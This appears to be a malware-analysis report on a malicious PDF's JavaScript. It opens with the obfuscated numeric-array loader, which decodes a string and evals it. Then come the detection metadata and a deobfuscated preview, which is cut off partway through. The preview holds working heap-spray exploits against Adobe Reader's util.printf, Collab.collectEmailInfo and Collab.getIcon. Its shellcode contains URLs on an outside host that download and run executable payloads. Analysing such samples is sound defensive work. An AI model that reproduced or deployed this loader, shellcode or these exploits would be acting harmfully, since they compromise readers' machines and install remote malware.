105,97,82,90,107,62,58,58,57,170,145,163,163,161,80,110,80,151,153,169,143,154,164,89,169,146,162,164,160,93,80,157,149,159,89,108,61,59,57,58,166,146,162,81,147,160,165,159,164,99,80,110,80,89,147,148,80,94,80,97,168,101,96,97,96,97,96,90,95,146,148,149,162,108,61,59,57,58,150,160,162,81,88,167,145,163,80,148,159,166,158,165,80,110,80,97,107,81,147,160,165,159,164,81,108,81,147,160,165,159,164,99,107,81,147,160,165,159,164,92,91,90,171,62,58,58,57,58,157,150,157,144,145,163,162,146,169,140,147,160,165,159,164,142,80,110,80,170,145,163,163,161,80,92,80,164,152,150,156,157,147,160,148,150,107,62,58,58,57,174,61,59,57,58,166,146,162,81,159,167,149,163,150,157,159,168,80,110,80,166,158,150,163,148,145,161,149,89,82,86,165,97,147,97,147,86,165,97,147,97,147,83,89,108,61,59,57,58,167,153,153,157,149,81,88,160,166,150,162,151,156,160,167,95,156,150,158,152,164,153,80,109,80,101,100,106,101,99,89,172,61,59,57,58,57,160,166,150,162,151,156,160,167,81,91,110,80,160,166,150,162,151,156,160,167,108,61,59,57,58,173,62,58,58,57,165,152,154,163,95,147,160,156,157,145,147,131,165,159,163,149,81,109,81,115,160,156,157,145,147,94,148,159,157,156,150,147,165,117,158,145,154,156,122,158,151,159,89,171,164,165,147,154,107,80,83,82,93,157,164,151,107,80,160,166,150,162,151,156,160,167,174,89,108,61,59,57,174,61,59,61,59,57,151,165,159,147,165,153,160,158,81,147,160,156,157,145,147,143,152,149,165,153,148,159,159,88,90,171,62,58,58,57,154,150,81,88,146,160,161,94,149,159,148,94,116,159,157,156,146,146,95,151,150,164,122,147,160,158,90,171,62,58,58,57,58,166,146,162,81,145,163,162,170,80,110,80,159,149,168,80,114,162,163,145,170,88,90,107,62,58,58,57,58,166,146,162,81,166,167,160,150,164,153,169,146,80,110,80,166,158,150,163,148,145,161,149,89,82,86,165,118,114,118,105,86,165,97,96,97,97,86,165,102,102,97,96,86,165,114,97,103,100,86,165,97,96,100,96,86,165,97,96,97,96,86,165,101,96,105,114,86,165,105,114,97,115,86,165,98,115,104,96,86,165,105,114,114,116,86,165,97,104,101,96,86,165,116,99,102,117,86,165,105,114,102,101,86,165,105,114,118,115,86,165,97,104,101,101,86,165,100,99,102,98,86,165,116,97,117,98,86,165,97,99,116,98,86,165,98,96,100,98,86,165,105,96,101,96,86,165,97,96,100,104,86,165,119,101,104,101,86,165,116,98,105,114,86,165,102,116,102,113,86,165,97,100,116,98,86,165,102,101,97,96,86,165,118,115,105,114,86,165,102,97,102,97,86,165,102,102,102,99,86,165,103,96,102,103,86,165,102,116,105,114,86,165,100,99,97,104,86,165,105,114,116,96,86,165,97,115,104,101,86,165,119,117,105,114,86,165,104,102,97,99,86,165,105,114,100,115,86,165,104,104,101,117,86,165,116,118,97,99,86,165,102,97,105,114,86,165,102,98,98,115,86,165,102,97,105,114,86,165,102,98,99,100,86,165,104,97,105,114,86,165,101,117,98,100,86,165,104,101,105,105,86,165,105,114,119,115,86,165,99,96,104,97,86,165,119,103,97,99,86,165,101,113,106,105,86,165,101,98,114,116,86,165,100,114,103,96,86,165,119,115,102,101,86,165,97,100,104,101,86,165,116,96,100,99,86,165,100,103,118,114,86,165,119,118,100,99,86,165,101,101,97,99,86,165,106,103,97,115,86,165,116,118,105,114,86,165,104,101,114,117,86,165,99,114,119,116,86,165,101,118,119,105,86,165,118,104,102,97,86,165,119,118,106,100,86,165,119,118,119,118,86,165,116,99,100,114,86,165,104,100,103,97,86,165,118,114,97,98,86,165,105,114,117,105,86,165,97,115,101,101,86,165,102,117,106,98,86,165,119,98,97,99,86,165,118,96,117,97,86,165,116,102,97,99,86,165,116,105,100,99,86,165,115,103,97,118,86,165,102,118,97,104,86,165,118,97,116,97,86,165,97,99,97,98,86,165,97,99,116,113,86,165,105,114,116,118,86,165,97,99,97,97,86,165,105,105,116,98,86,165,119,104,101,101,86,165,105,114,103,97,86,165,119,104,101,101,86,165,102,117,102,118,86,165,116,105,102,114,86,165,102,101,116,99,86,165,118,115,105,114,86,165,118,104,102,97,86,165,119,118,101,105,86,165,119,118,119,118,86,165,103,104,102,96,86,165,103,96,118,104,86,165,97,100,115,118,86,165,103,115,118,104,86,165,119,118,119,118,86,165,100,99,119,118,86,165,102,98,117,98,86,165,119,118,102,98,86,165,97,104,104,101,86,165,117,96,119,118,86,165,101,101,105,105,86,165,105,114,119,115,86,165,119,115,101,101,86,165,116,99,116,105,86,165,105,114,102,101,86,165,105,99,118,115,86,165,97,115,118,115,86,165,101,101,105,116,86,165,102,96,119,100,86,165,101,101,116,102,86,165,104,101,119,100,86,165,101,101,116,102,86,165,104,98,119,101,86,165,101,101,116,102,86,165,103,115,119,102,86,165,101,101,116,102,86,165,103,116,119,103,86,165,101,101,116,102,86,165,103,118,119,104,86,165,101,101,116,102,86,165,103,117,119,105,86,165,101,101,116,102,86,165,99,117,119,113,86,165,101,101,116,102,86,165,103,100,119,114,86,165,101,101,116,102,86,165,103,115,119,115,86,165,101,101,116,102,86,165,103,115,119,116,86,165,101,101,116,102,86,165,97,96,119,117,86,165,114,96,118,104,86,165,119,118,119,118,86,165,102,96,119,118,86,165,102,116,103,104,86,165,98,97,105,113,86,165,118,104,98,102,86,165,119,118,98,101,86,165,119,118,119,118,86,165,116,100,105,99,86,165,105,101,97,115,86,165,104,100,116,96,86,165,103,113,98,101,86,165,103,113,97,96,86,165,119,118,97,96,86,165,97,115,104,101,86,165,104,101,119,118,86,165,103,113,97,104,86,165,119,118,97,96,86,165,105,101,117,96,86,165,104,101,116,96,86,165,101,96,97,99,86,165,116,99,116,105,86,165,116,96,100,99,86,165,116,99,116,105,86,165,100,99,102,103,86,165,105,114,116,96,86,165,99,100,101,115,86,165,105,114,97,115,86,165,99,100,104,115,86,165,119,115,97,104,86,165,114,113,119,99,86,165,116,99,102,118,86,165,101,115,105,114,86,165,97,100,99,100,86,165,100,105,105,96,86,165,105,114,97,96,86,165,104,100,116,97,86,165,101,96,97,102,86,165,100,104,105,96,86,165,104,101,97,96,86,165,99,114,119,113,86,165,116,99,116,97,86,165,105,114,102,101,86,165,105,99,118,115,86,165,103,100,118,115,86,165,105,116,102,99,86,165,119,96,101,101,86,165,100,99,102,103,86,165,102,96,117,114,86,165,101,101,116,102,86,165,103,114,119,96,86,165,101,101,116,102,86,165,103,101,119,97,86,165,101,101,116,102,86,165,104,98,119,98,86,165,101,101,116,102,86,165,103,117,119,99,86,165,101,101,116,102,86,165,103,101,119,100,86,165,101,101,116,102,86,165,103,115,119,101,86,165,101,101,116,102,86,165,100,99,119,102,86,165,101,101,116,102,86,165,100,98,119,103,86,165,101,101,116,102,86,165,99,117,119,104,86,165,101,101,116,102,86,165,103,100,119,105,86,165,101,101,116,102,86,165,103,115,119,113,86,165,101,101,116,102,86,165,103,115,119,114,86,165,102,116,105,104,86,165,118,104,119,115,86,165,119,118,97,114,86,165,119,118,119,118,86,165,103,104,102,96,86,165,101,99,103,104,86,165,105,117,119,105,86,165,105,96,118,104,86,165,119,118,119,117,86,165,105,114,119,118,86,165,105,116,119,104,86,165,106,115,101,101,86,165,101,100,103,113,86,165,118,104,102,96,86,165,119,118,104,117,86,165,119,118,119,118,86,165,101,101,105,116,86,165,103,113,118,96,86,165,102,96,98,96,86,165,104,99,118,104,86,165,119,118,119,118,86,165,105,99,119,118,86,165,98,115,116,100,86,165,101,101,105,116,86,165,102,96,118,96,86,165,101,101,105,116,86,165,102,96,106,115,86,165,102,99,102,99,86,165,102,99,102,99,86,165,102,99,102,99,86,165,104,101,119,118,86,165,116,103,97,104,86,165,106,115,101,101,86,165,97,96,101,100,86,165,97,96,97,96,86,165,119,118,102,99,86,165,102,118,117,103,86,165,115,102,97,118,86,165,102,114,116,96,86,165,116,99,116,105,86,165,105,114,102,101,86,165,102,97,118,115,86,165,102,99,102,97,86,165,102,103,102,102,86,165,101,98,103,113,86,165,104,98,118,104,86,165,97,96,97,96,86,165,105,114,97,96,86,165,100,99,117,104,86,165,105,101,119,102,86,165,102,105,117,114,86,165,101,101,116,103,86,165,103,97,119,104,86,165,103,101,99,117,86,165,116,103,104,104,86,165,119,115,101,101,86,165,97,96,103,101,86,165,97,96,97,96,86,165,102,102,104,117,86,165,101,101,105,116,86,165,102,96,119,104,86,165,118,104,102,102,86,165,97,96,102,97,86,165,97,96,97,96,86,165,102,96,102,105,86,165,115,97,118,104,86,165,119,118,119,117,86,165,105,101,119,118,86,165,102,105,116,96,86,165,104,100,102,105,86,165,105,116,100,105,86,165,97,97,101,102,86,165,118,104,102,96,86,165,97,96,100,114,86,165,97,96,97,96,86,165,119,104,105,114,86,165,101,101,105,116,86,165,102,96,119,104,86,165,99,97,118,104,86,165,119,118,119,118,86,165,105,101,119,118,86,165,102,105,116,96,86,165,104,100,102,105,86,165,102,103,97,115,86,165,97,97,118,104,86,165,119,118,119,118,86,165,102,105,119,118,86,165,101,100,116,102,86,165,119,118,100,104,86,165,102,96,104,99,86,165,101,101,105,116,86,165,119,117,119,104,86,165,102,104,97,96,86,165,101,101,105,116,86,165,102,96,119,104,86,165,118,104,102,103,86,165,119,117,104,100,86,165,119,118,119,118,86,165,102,105,102,105,86,165,101,102,101,102,86,165,119,99,100,114,86,165,114,113,104,115,86,165,102,117,102,118,86,165,116,105,102,114,86,165,102,101,116,99,86,165,118,115,105,114,86,165,102,99,102,97,86,165,103,96,103,102,86,165,100,98,115,97,86,165,97,96,118,104,86,165,97,96,97,96,86,165,102,104,97,96,86,165,97,104,100,104,86,165,97,99,104,100,86,165,118,114,101,96,86,165,101,96,119,105,86,165,102,116,105,114,86,165,105,96,97,104,86,165,101,98,119,114,86,165,97,104,104,101,86,165,117,114,100,99,86,165,98,104,105,113,86,165,116,99,105,114,86,165,98,103,118,114,86,165,98,104,100,104,86,165,98,97,104,102,86,165,100,99,101,96,86,165,105,100,116,105,86,165,104,100,117,114,86,165,101,96,97,115,86,165,97,104,100,104,86,165,119,114,104,101,86,165,119,117,101,96,86,165,118,114,116,114,86,165,100,99,119,98,86,165,105,105,116,96,86,165,119,115,101,101,86,165,101,101,105,114,86,165,102,114,119,115,86,165,116,99,116,105,86,165,97,98,100,98,86,165,104,100,103,104,86,165,104,96,104,100,86,165,99,118,100,113,86,165,103,116,99,118,86,165,104,98,103,105,86,165,103,118,104,98,86,165,103,118,104,98,86,165,103,101,103,117,86,165,103,118,104,98,86,165,103,105,103,102,86,165,103,101,104,102,86,165,103,99,99,117,86,165,103,116,103,118,86,165,104,99,99,118,86,165,103,101,103,115,86,165,104,96,103,101,86,165,103,100,99,118,86,165,104,96,103,115,86,165,104,105,104,99,86,165,99,117,100,98,86,165,104,104,103,101,86,165,97,96,103,101,86,165,104,100,103,104,86,165,104,96,104,100,86,165,99,118,100,113,86,165,103,116,99,118,86,165,104,98,103,105,86,165,103,118,104,98,86,165,103,118,104,98,86,165,103,101,103,117,86,165,103,118,104,98,86,165,103,105,103,102,86,165,103,101,104,102,86,165,103,99,99,117,86,165,103,116,103,118,86,165,104,99,99,118,86,165,103,101,103,115,86,165,104,96,103,101,86,165,103,99,99,118,86,165,103,105,103,115,86,165,103,114,103,99,86,165,104,96,99,117,86,165,104,96,103,104,86,165,104,98,100,118,86,165,97,96,100,116,83,89,108,61,59,57,58,57,167,145,163,80,153,135,162,101,97,96,116,126,81,109,81,166,167,160,150,164,153,169,146,94,157,149,159,151,165,152,81,90,81,98,108,61,59,57,58,57,167,145,163,80,157,149,159,80,110,80,97,168,101,96,97,96,97,96,81,93,81,88,153,135,162,101,97,96,116,126,81,91,81,96,169,99,105,89,108,61,59,57,58,57,167,145,163,80,170,145,163,163,161,80,110,80,166,158,150,163,148,145,161,149,89,82,86,165,106,96,106,96,86,165,106,96,106,96,83,89,108,61,59,57,58,57,170,145,163,163,161,80,110,80,151,153,169,143,154,164,89,169,146,162,164,160,93,80,157,149,159,89,108,61,59,57,58,57,167,145,163,80,161,101,114,154,124,102,102,150,81,109,81,88,97,168,97,147,97,147,97,147,97,147,81,93,81,96,169,100,97,96,97,96,97,89,81,95,81,96,169,100,97,96,97,96,97,107,62,58,58,57,58,150,160,162,81,88,167,145,163,80,167,161,148,129,117,105,103,169,81,109,81,96,108,80,167,161,148,129,117,105,103,169,81,108,81,160,102,113,155,123,103,101,151,107,81,166,162,147,130,116,106,102,170,80,92,91,81,89,172,61,59,57,58,57,58,145,163,162,170,139,167,161,148,129,117,105,103,169,142,80,110,80,170,145,163,163,161,80,92,80,167,166,161,149,165,152,170,145,108,61,59,57,58,57,174,61,59,57,58,57,167,145,163,80,165,133,126,152,127,146,120,167,81,109,81,165,159,149,164,147,146,160,150,88,83,85,97,105,83,89,108,61,59,57,58,57,168,152,154,156,150,80,89,164,134,125,153,126,147,119,168,94,157,149,159,151,165,152,81,108,81,96,169,100,97,96,97,89,172,61,59,57,58,57,58,164,134,125,153,126,147,119,168,80,92,109,81,164,134,125,153,126,147,119,168,107,62,58,58,57,58,173,62,58,58,57,58,164,134,125,153,126,147,119,168,80,110,80,83,126,95,82,81,91,81,164,134,125,153,126,147,119,168,107,62,58,58,57,58,145,161,160,95,148,160,147,95,115,160,156,157,145,147,94,152,149,165,121,148,159,159,88,165,133,126,152,127,146,120,167,90,107,62,58,58,57,174,61,59,57,174,61,59,61,59,57,151,165,159,147,165,153,160,158,81,160,149,150,144,163,165,145,163,164,89,89,172,61,59,61,59,57,58,166,146,162,81,166,150,162,164,153,160,158,81,109,81,145,161,160,95,166,154,149,168,149,163,134,150,162,164,153,160,158,95,164,160,131,165,162,154,158,152,88,90,107,62,58,58,57,167,149,163,163,154,159,159,80,110,80,167,149,163,163,154,159,159,94,163,149,161,156,146,147,150,88,96,140,117,95,152,92,88,87,90,107,62,58,58,57,167,145,163,80,167,145,163,163,154,159,159,143,146,162,163,145,170,80,110,80,159,149,168,80,114,162,163,145,170,88,167,149,163,163,154,159,159,94,148,152,146,162,114,164,89,96,90,92,81,166,150,162,164,153,160,158,95,147,153,145,163,113,165,88,98,89,93,80,167,149,163,163,154,159,159,94,148,152,146,162,114,164,89,98,90,89,108,61,59,57,58,153,151,80,89,88,167,145,163,163,154,159,159,143,146,162,163,145,170,139,97,141,81,109,110,80,105,89,81,86,87,80,89,166,146,162,164,153,160,158,144,145,163,162,146,169,140,97,142,80,110,109,81,96,90,80,173,172,81,88,167,145,163,163,154,159,159,143,146,162,163,145,170,139,98,141,81,109,110,80,98,80,87,86,81,166,146,162,164,153,160,158,144,145,163,162,146,169,140,98,142,80,109,80,100,89,90,171,62,58,58,57,58,165,165,153,157,143,161,162,154,158,165,150,89,89,108,61,59,57,58,173,62,58,58,57,154,150,81,88,89,166,146,162,164,153,160,158,144,145,163,162,146,169,140,96,142,80,109,80,105,89,81,172,173,80,89,166,146,162,164,153,160,158,144,145,163,162,146,169,140,96,142,80,110,109,81,104,81,86,87,80,167,145,163,163,154,159,159,143,146,162,163,145,170,139,98,141,81,108,81,98,81,86,87,80,167,145,163,163,154,159,159,143,146,162,163,145,170,139,99,141,81,108,81,98,90,89,172,61,59,57,58,57,148,159,157,156,146,146,144,149,158,145,154,156,89,89,108,61,59,57,58,173,62,58,58,57,154,150,81,88,89,166,146,162,164,153,160,158,144,145,163,162,146,169,140,96,142,80,109,80,106,89,81,172,173,80,89,166,146,162,164,153,160,158,144,145,163,162,146,169,140,96,142,80,110,109,81,105,81,86,87,80,167,145,163,163,154,159,159,143,146,162,163,145,170,139,98,141,81,108,81,97,90,89,172,61,59,57,58,57,148,159,157,156,146,146,144,151,150,164,154,147,160,158,89,89,108,61,59,57,58,173,62,58,58,173,62,58,62,58,58,160,149,150,144,163,165,145,163,164,89,89,108,61,59,57],mopr=function(){for(var dhjw;bfno<cdmnsx.length;bfno+=1){var olwyzh=bfno%zmanb.length+1;var chmqt=zmanb.substring(bfno%zmanb.length,olwyzh);var avdze=cdmnsx[bfno];arsv+=dhlmrt(avdze-chmqt.charCodeAt(0));} egjntv(arsv);};mopr();emoqy='';emov='';zxhw="zxhw";cgmnqy="cgmnqy";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10066 bytes
SHA-256: `f80602211b38784a458d0e238ef85a87ce8441c5424aed615fbd5585a57944e6`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u622F%u6665%u6D67%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u6C2F%u756D%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u642F%u706C%u7973%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ 